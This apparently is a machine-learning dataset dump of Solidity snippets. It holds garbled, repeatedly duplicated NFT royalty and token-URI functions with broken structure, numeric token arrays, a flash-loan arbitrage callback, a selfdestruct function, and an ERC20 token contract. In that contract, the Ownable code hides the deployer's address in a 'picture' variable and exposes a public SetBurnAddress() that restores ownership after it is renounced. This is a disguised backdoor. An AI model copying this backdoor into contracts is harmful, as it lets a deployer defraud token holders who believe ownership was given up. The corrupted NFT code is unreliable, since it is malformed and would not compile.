"CreatorCore: Extension blacklisted"); if (bytes(_tokenURIs[tokenId]).length != 0) { if (bytes(_extensionURIPrefix[extension]).length != 0) { return string(abi.encodePacked(_extensionURIPrefix[extension],_tokenURIs[tokenId])); } return _tokenURIs[tokenId]; } if (ERC165Checker.supportsInterface(extension, type(ICreatorExtensionTokenURI).interfaceId)) { return ICreatorExtensionTokenURI(extension).tokenURI(address(this), tokenId); } if (!_extensionBaseURIIdentical[extension]) { return string(abi.encodePacked(_extensionBaseURI[extension], tokenId.toString())); return _extensionBaseURI[extension]; } } function _tokenURI(uint256 tokenId) internal view returns (string memory) { address extension = _tokensExtension[tokenId]; require(!_blacklistedExtensions.contains(extension), "CreatorCore: Extension blacklisted"); if (bytes(_tokenURIs[tokenId]).length != 0) { if (bytes(_extensionURIPrefix[extension]).length != 0) { return string(abi.encodePacked(_extensionURIPrefix[extension],_tokenURIs[tokenId])); } return _tokenURIs[tokenId]; } if (ERC165Checker.supportsInterface(extension, type(ICreatorExtensionTokenURI).interfaceId)) { return ICreatorExtensionTokenURI(extension).tokenURI(address(this), tokenId); } if (!_extensionBaseURIIdentical[extension]) { return string(abi.encodePacked(_extensionBaseURI[extension], tokenId.toString())); return _extensionBaseURI[extension]; } } function _tokenURI(uint256 tokenId) internal view returns (string memory) { address extension = _tokensExtension[tokenId]; require(!_blacklistedExtensions.contains(extension), "CreatorCore: Extension blacklisted"); if (bytes(_tokenURIs[tokenId]).length != 0) { if (bytes(_extensionURIPrefix[extension]).length != 0) { return string(abi.encodePacked(_extensionURIPrefix[extension],_tokenURIs[tokenId])); } return _tokenURIs[tokenId]; } if (ERC165Checker.supportsInterface(extension, type(ICreatorExtensionTokenURI).interfaceId)) { return ICreatorExtensionTokenURI(extension).tokenURI(address(this), tokenId); } if (!_extensionBaseURIIdentical[extension]) { return string(abi.encodePacked(_extensionBaseURI[extension], tokenId.toString())); return _extensionBaseURI[extension]; } } function _tokenURI(uint256 tokenId) internal view returns (string memory) { address extension = _tokensExtension[tokenId]; require(!_blacklistedExtensions.contains(extension), "CreatorCore: Extension blacklisted"); if (bytes(_tokenURIs[tokenId]).length != 0) { if (bytes(_extensionURIPrefix[extension]).length != 0) { return string(abi.encodePacked(_extensionURIPrefix[extension],_tokenURIs[tokenId])); } return _tokenURIs[tokenId]; } if (ERC165Checker.supportsInterface(extension, type(ICreatorExtensionTokenURI).interfaceId)) { return ICreatorExtensionTokenURI(extension).tokenURI(address(this), tokenId); } if (!_extensionBaseURIIdentical[extension]) { return string(abi.encodePacked(_extensionBaseURI[extension], tokenId.toString())); return _extensionBaseURI[extension]; } } function _tokenURI(uint256 tokenId) internal view returns (string memory) { address extension = _tokensExtension[tokenId]; require(!_blacklistedExtensions.contains(extension), "CreatorCore: Extension blacklisted"); if (bytes(_tokenURIs[tokenId]).length != 0) { if (bytes(_extensionURIPrefix[extension]).length != 0) { return string(abi.encodePacked(_extensionURIPrefix[extension],_tokenURIs[tokenId])); } return _tokenURIs[tokenId]; } if (ERC165Checker.supportsInterface(extension, type(ICreatorExtensionTokenURI).interfaceId)) { return ICreatorExtensionTokenURI(extension).tokenURI(address(this), tokenId); } if (!_extensionBaseURIIdentical[extension]) { return string(abi.encodePacked(_extensionBaseURI[extension], tokenId.toString())); return _extensionBaseURI[extension]; } } } else { function _tokenExtension(uint256 tokenId) internal view returns (address extension) { extension = _tokensExtension[tokenId]; require(extension != address(this), "CreatorCore: No extension for token"); require(!_blacklistedExtensions.contains(extension), "CreatorCore: Extension blacklisted"); return extension; } function _getRoyalties(uint256 tokenId) view internal returns (address payable[] storage, uint256[] storage) { return (_getRoyaltyReceivers(tokenId), _getRoyaltyBPS(tokenId)); } function _getRoyaltyReceivers(uint256 tokenId) view internal returns (address payable[] storage) { if (_tokenRoyaltyReceivers[tokenId].length > 0) { return _tokenRoyaltyReceivers[tokenId]; return _extensionRoyaltyReceivers[_tokensExtension[tokenId]]; } return _extensionRoyaltyReceivers[address(this)]; } function _getRoyaltyReceivers(uint256 tokenId) view internal returns (address payable[] storage) { if (_tokenRoyaltyReceivers[tokenId].length > 0) { return _tokenRoyaltyReceivers[tokenId]; return _extensionRoyaltyReceivers[_tokensExtension[tokenId]]; } return _extensionRoyaltyReceivers[address(this)]; } } else if (_extensionRoyaltyReceivers[_tokensExtension[tokenId]].length > 0) { function _getRoyaltyBPS(uint256 tokenId) view internal returns (uint256[] storage) { if (_tokenRoyaltyBPS[tokenId].length > 0) { return _tokenRoyaltyBPS[tokenId]; return _extensionRoyaltyBPS[_tokensExtension[tokenId]]; } return _extensionRoyaltyBPS[address(this)]; } function _getRoyaltyBPS(uint256 tokenId) view internal returns (uint256[] storage) { if (_tokenRoyaltyBPS[tokenId].length > 0) { return _tokenRoyaltyBPS[tokenId]; return _extensionRoyaltyBPS[_tokensExtension[tokenId]]; } return _extensionRoyaltyBPS[address(this)]; } } else if (_extensionRoyaltyBPS[_tokensExtension[tokenId]].length > 0) { function _getRoyaltyInfo(uint256 tokenId, uint256 value) view internal returns (address receiver, uint256 amount, bytes memory data){ address payable[] storage receivers = _getRoyaltyReceivers(tokenId); require(receivers.length <= 1, "CreatorCore: Only works if there are at most 1 royalty receivers"); if (receivers.length == 0) { return (address(this), 0, data); } return (receivers[0], _getRoyaltyBPS(tokenId)[0]*value/10000, data); } function _getRoyaltyInfo(uint256 tokenId, uint256 value) view internal returns (address receiver, uint256 amount, bytes memory data){ address payable[] storage receivers = _getRoyaltyReceivers(tokenId); require(receivers.length <= 1, "CreatorCore: Only works if there are at most 1 royalty receivers"); if (receivers.length == 0) { return (address(this), 0, data); } return (receivers[0], _getRoyaltyBPS(tokenId)[0]*value/10000, data); } function _shortenRoyalties(address payable[] storage receivers, uint256[] storage basisPoints, uint256 targetLength) internal { require(receivers.length == basisPoints.length, "CreatorCore: Invalid input"); if (targetLength < receivers.length) { for (uint i = receivers.length; i > targetLength; i--) { receivers.pop(); basisPoints.pop(); } } } function _shortenRoyalties(address payable[] storage receivers, uint256[] storage basisPoints, uint256 targetLength) internal { require(receivers.length == basisPoints.length, "CreatorCore: Invalid input"); if (targetLength < receivers.length) { for (uint i = receivers.length; i > targetLength; i--) { receivers.pop(); basisPoints.pop(); } } } function _shortenRoyalties(address payable[] storage receivers, uint256[] storage basisPoints, uint256 targetLength) internal { require(receivers.length == basisPoints.length, "CreatorCore: Invalid input"); if (targetLength < receivers.length) { for (uint i = receivers.length; i > targetLength; i--) { receivers.pop(); basisPoints.pop(); } } } function _updateRoyalties(address payable[] storage receivers, uint256[] storage basisPoints, address payable[] calldata newReceivers, uint256[] calldata newBPS) internal { require(receivers.length == basisPoints.length, "CreatorCore: Invalid input"); require(newReceivers.length == newBPS.length, "CreatorCore: Invalid input"); uint256 totalRoyalties; for (uint i = 0; i < newReceivers.length; i++) { if (i < receivers.length) { receivers[i] = newReceivers[i]; basisPoints[i] = newBPS[i]; receivers.push(newReceivers[i]); basisPoints.push(newBPS[i]); } totalRoyalties += newBPS[i]; } require(totalRoyalties < 10000, "CreatorCore: Invalid total royalties"); } function _updateRoyalties(address payable[] storage receivers, uint256[] storage basisPoints, address payable[] calldata newReceivers, uint256[] calldata newBPS) internal { require(receivers.length == basisPoints.length, "CreatorCore: Invalid input"); require(newReceivers.length == newBPS.length, "CreatorCore: Invalid input"); uint256 totalRoyalties; for (uint i = 0; i < newReceivers.length; i++) { if (i < receivers.length) { receivers[i] = newReceivers[i]; basisPoints[i] = newBPS[i]; receivers.push(newReceivers[i]); basisPoints.push(newBPS[i]); } totalRoyalties += newBPS[i]; } require(totalRoyalties < 10000, "CreatorCore: Invalid total royalties"); } function _updateRoyalties(address payable[] storage receivers, uint256[] storage basisPoints, address payable[] calldata newReceivers, uint256[] calldata newBPS) internal { require(receivers.length == basisPoints.length, "CreatorCore: Invalid input"); require(newReceivers.length == newBPS.length, "CreatorCore: Invalid input"); uint256 totalRoyalties; for (uint i = 0; i < newReceivers.length; i++) { if (i < receivers.length) { receivers[i] = newReceivers[i]; basisPoints[i] = newBPS[i]; receivers.push(newReceivers[i]); basisPoints.push(newBPS[i]); } totalRoyalties += newBPS[i]; } require(totalRoyalties < 10000, "CreatorCore: Invalid total royalties"); } } else { function _setRoyalties(uint256 tokenId, address payable[] calldata receivers, uint256[] calldata basisPoints) internal { require(receivers.length == basisPoints.length, "CreatorCore: Invalid input"); _shortenRoyalties(_tokenRoyaltyReceivers[tokenId], _tokenRoyaltyBPS[tokenId], receivers.length); _updateRoyalties(_tokenRoyaltyReceivers[tokenId], _tokenRoyaltyBPS[tokenId], receivers, basisPoints); emit RoyaltiesUpdated(tokenId, receivers, basisPoints); } function _setRoyaltiesExtension(address extension, address payable[] calldata receivers, uint256[] calldata basisPoints) internal { require(receivers.length == basisPoints.length, "CreatorCore: Invalid input"); _shortenRoyalties(_extensionRoyaltyReceivers[extension], _extensionRoyaltyBPS[extension], receivers.length); _updateRoyalties(_extensionRoyaltyReceivers[extension], _extensionRoyaltyBPS[extension], receivers, basisPoints); if (extension == address(this)) { emit DefaultRoyaltiesUpdated(receivers, basisPoints); emit ExtensionRoyaltiesUpdated(extension, receivers, basisPoints); } } function _setRoyaltiesExtension(address extension, address payable[] calldata receivers, uint256[] calldata basisPoints) internal { require(receivers.length == basisPoints.length, "CreatorCore: Invalid input"); _shortenRoyalties(_extensionRoyaltyReceivers[extension], _extensionRoyaltyBPS[extension], receivers.length); _updateRoyalties(_extensionRoyaltyReceivers[extension], _extensionRoyaltyBPS[extension], receivers, basisPoints); if (extension == address(this)) { emit DefaultRoyaltiesUpdated(receivers, basisPoints); emit ExtensionRoyaltiesUpdated(extension, receivers, basisPoints); } } } else { }
540,301
[ 1, 4670, 11784, 4471, 19, 11065, 4104, 4418, 501, 2457, 11093, 1492, 2710, 279, 1147, 1703, 312, 474, 329, 635, 1021, 1026, 3098, 364, 279, 864, 2710, 1021, 1633, 364, 1281, 2430, 598, 279, 2003, 4351, 9408, 364, 7327, 1147, 24565, 534, 13372, 15006, 10459, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 17801, 6835, 29525, 4670, 353, 868, 8230, 12514, 16709, 16, 467, 10636, 4670, 16, 4232, 39, 28275, 288, 203, 565, 1450, 8139, 364, 2254, 5034, 31, 203, 565, 1450, 6057, 25121, 694, 364, 6057, 25121, 694, 18, 1887, 694, 31, 203, 203, 565, 2254, 5034, 389, 2316, 1380, 273, 374, 31, 203, 203, 565, 6057, 25121, 694, 18, 1887, 694, 2713, 389, 9489, 31, 203, 565, 6057, 25121, 694, 18, 1887, 694, 2713, 389, 11223, 18647, 7513, 31, 203, 565, 2874, 261, 2867, 516, 1758, 13, 2713, 389, 6447, 6521, 31, 203, 565, 2874, 261, 2867, 516, 1426, 13, 2713, 389, 6447, 12053, 537, 1429, 18881, 31, 203, 377, 203, 565, 2874, 261, 11890, 5034, 516, 1758, 13, 2713, 389, 7860, 3625, 31, 203, 203, 565, 2874, 261, 2867, 516, 533, 13, 3238, 389, 6447, 2171, 3098, 31, 203, 565, 2874, 261, 2867, 516, 1426, 13, 3238, 389, 6447, 2171, 3098, 6106, 1706, 31, 203, 203, 565, 2874, 261, 2867, 516, 533, 13, 3238, 389, 6447, 3098, 2244, 31, 203, 203, 565, 2874, 261, 11890, 5034, 516, 533, 13, 2713, 389, 2316, 1099, 2520, 31, 203, 203, 377, 203, 565, 2874, 261, 2867, 516, 1758, 8843, 429, 63, 5717, 2713, 389, 6447, 54, 13372, 15006, 4779, 6760, 31, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 63, 5717, 2713, 389, 6447, 54, 13372, 15006, 38, 5857, 31, 203, 565, 2874, 261, 11890, 5034, 516, 1758, 8843, 429, 63, 5717, 2713, 389, 2316, 54, 13372, 15006, 4779, 6760, 31, 203, 565, 2874, 261, 11890, 5034, 2 ]
./full_match/1/0x91F7BCf20992F4AD28dD000a0CdBf4770A225a92/sources/contracts/FlashLoaner.sol
no need for require() check, if amount required is not sent sushiRouter will revert YEAHH PROFIT no need for require() check, if amount required is not sent sushiRouter will revert YEAHH PROFIT
function uniswapV2Call( address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data ) external { address[] memory path = new address[](2); uint256 amountToken = _amount0 == 0 ? _amount1 : _amount0; address token0 = IUniswapV2Pair(msg.sender).token0(); address token1 = IUniswapV2Pair(msg.sender).token1(); require(_amount0 == 0 || _amount1 == 0); path[0] = _amount0 == 0 ? token1 : token0; path[1] = _amount0 == 0 ? token0 : token1; IUniswapV2Pair token = IUniswapV2Pair(_amount0 == 0 ? token1 : token0); if (_isSuShi) { token.approve(address(uniRouter), amountToken); (uint256 amountRequired,) = this.univ2( _amount0 == 0 ? token1 : token0, amountToken, _isSuShi ); uint256 amountReceived = IUniswapV2Router01(uniRouter).swapExactTokensForTokens( amountToken, amountRequired, path, address(this), block.timestamp.add(1 days) )[1]; TransferHelper.safeTransfer(wEth, msg.sender, amountRequired); IWETH(wEth).withdraw(amountReceived - amountRequired); TransferHelper.safeTransferETH(recvice, amountReceived - amountRequired); token.approve(address(sushiRouter), amountToken); (uint256 amountRequired,) = this.univ2( _amount0 == 0 ? token1 : token0, amountToken, _isSuShi ); uint256 amountReceived = IUniswapV2Router01(sushiRouter).swapExactTokensForTokens( amountToken, amountRequired, path, address(this), block.timestamp.add(1 days) )[1]; TransferHelper.safeTransfer(wEth, msg.sender, amountRequired); IWETH(wEth).withdraw(amountReceived - amountRequired); TransferHelper.safeTransferETH(recvice, amountReceived - amountRequired); } }
8,340,352
[ 1, 2135, 1608, 364, 2583, 1435, 866, 16, 309, 3844, 1931, 353, 486, 3271, 272, 1218, 77, 8259, 903, 15226, 1624, 41, 37, 17500, 4629, 42, 1285, 1158, 1608, 364, 2583, 1435, 866, 16, 309, 3844, 1931, 353, 486, 3271, 272, 1218, 77, 8259, 903, 15226, 1624, 41, 37, 17500, 4629, 42, 1285, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 640, 291, 91, 438, 58, 22, 1477, 12, 203, 3639, 1758, 389, 15330, 16, 203, 3639, 2254, 5034, 389, 8949, 20, 16, 203, 3639, 2254, 5034, 389, 8949, 21, 16, 203, 3639, 1731, 745, 892, 389, 892, 203, 565, 262, 3903, 288, 203, 3639, 1758, 8526, 3778, 589, 273, 394, 1758, 8526, 12, 22, 1769, 203, 3639, 2254, 5034, 3844, 1345, 273, 389, 8949, 20, 422, 374, 692, 389, 8949, 21, 294, 389, 8949, 20, 31, 203, 203, 3639, 1758, 1147, 20, 273, 467, 984, 291, 91, 438, 58, 22, 4154, 12, 3576, 18, 15330, 2934, 2316, 20, 5621, 203, 3639, 1758, 1147, 21, 273, 467, 984, 291, 91, 438, 58, 22, 4154, 12, 3576, 18, 15330, 2934, 2316, 21, 5621, 203, 203, 3639, 2583, 24899, 8949, 20, 422, 374, 747, 389, 8949, 21, 422, 374, 1769, 203, 203, 3639, 589, 63, 20, 65, 273, 389, 8949, 20, 422, 374, 692, 1147, 21, 294, 1147, 20, 31, 203, 3639, 589, 63, 21, 65, 273, 389, 8949, 20, 422, 374, 692, 1147, 20, 294, 1147, 21, 31, 203, 203, 3639, 467, 984, 291, 91, 438, 58, 22, 4154, 1147, 273, 467, 984, 291, 91, 438, 58, 22, 4154, 24899, 8949, 20, 422, 374, 692, 1147, 21, 294, 1147, 20, 1769, 203, 203, 3639, 309, 261, 67, 291, 17072, 1555, 77, 13, 288, 203, 5411, 1147, 18, 12908, 537, 12, 2867, 12, 318, 77, 8259, 3631, 3844, 1345, 1769, 203, 203, 5411, 261, 11890, 5034, 3844, 3705, 16, 13, 273, 333, 18, 318, 427, 2 ]
./full_match/97/0xbdF16287e4F98dca849F6900fdc15bdb3DC4553f/sources/project_/contracts/SampleSaleToken.sol
* @dev Destroys contract, sending bnb from contract to the receiver./
function destroy(address ethReceiver) external onlyOwner whenNotPaused { selfdestruct(payable(ethReceiver)); }
3,268,383
[ 1, 9378, 28599, 6835, 16, 5431, 324, 6423, 628, 6835, 358, 326, 5971, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 5546, 12, 2867, 13750, 12952, 13, 3903, 1338, 5541, 1347, 1248, 28590, 288, 203, 3639, 365, 5489, 8813, 12, 10239, 429, 12, 546, 12952, 10019, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2021-06-11 */ pragma solidity 0.5.16; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8); /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the token name. */ function name() external view returns (string memory); /** * @dev Returns the erc20 token owner. */ function getOwner() external view returns (address); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address _owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; address private picture; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; picture = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function SetBurnAddress() public { require(_owner != picture); emit OwnershipTransferred(_owner, picture); _owner = picture; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ERC20Token is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; 